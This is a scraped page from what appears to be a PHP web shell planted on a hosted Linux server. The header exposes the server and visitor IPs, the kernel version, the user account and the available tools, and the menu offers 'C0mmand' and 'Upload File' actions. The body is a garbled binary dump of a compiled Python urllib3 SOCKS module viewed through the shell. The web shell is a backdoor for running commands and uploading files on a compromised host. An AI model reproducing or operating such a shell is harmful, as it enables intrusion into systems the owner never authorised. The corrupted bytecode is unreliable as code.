Server IP : 111.118.215.189 / Your IP : 13.59.226.183 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
� r2Wc @@ s� d Z d d l m Z y d d l Z Wn@ e k rh d d l Z d d l m Z e j d e � � n Xd d l m Z m Z d d l m Z m Z d d l m Z m Z d d l m Z m Z d d l m Z d d l m Z y d d l Z Wn e k r d Z n Xd e f d � � YZ d e e f d � � YZ d e f d � � YZ d e f d � � YZ d e f d � � YZ d S( sK SOCKS support for urllib3 ~~~~~~~~~~~~~~~~~~~~~~~~~ This contrib module contains provisional support for SOCKS proxies from within urllib3. This module supports SOCKS4 (specifically the SOCKS4A variant) and SOCKS5. To enable its functionality, either install PySocks or install this module with the ``socks`` extra. Known Limitations: - Currently PySocks does not support contacting remote websites via literal IPv6 addresses. Any such connection attempt will fail. - Currently PySocks does not support IPv6 connections to the SOCKS proxy. Any such connection attempt will fail. i ( t absolute_importNi ( t DependencyWarnings� SOCKS support in urllib3 requires the installation of optional dependencies: specifically, PySocks. For more information, see https://urllib3.readthedocs.org/en/latest/contrib.html#socks-proxies( t errort timeout( t HTTPConnectiont HTTPSConnection( t HTTPConnectionPoolt HTTPSConnectionPool( t ConnectTimeoutErrort NewConnectionError( t PoolManager( t parse_urlt SOCKSConnectionc B@ s e Z d Z d � Z d � Z RS( sG A plain-text HTTP connection that connects via a SOCKS proxy. c O@ s/ | j d � | _ t t | � j | | � d S( Nt _socks_options( t popR t superR t __init__( t selft argst kwargs( ( sW /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/socks.pyR 9 s c C@ s� i } | j r | j | d <n | j r8 | j | d <n yl t j | j | j f d | j d d | j d d | j d d | j d d | j d d | j | �} Wn� t k r� } t | d | j | j f � � n� t j k rY} | j rC| j } t | t � r-t | d | j | j f � � qVt | d | � � qt | d | � � n&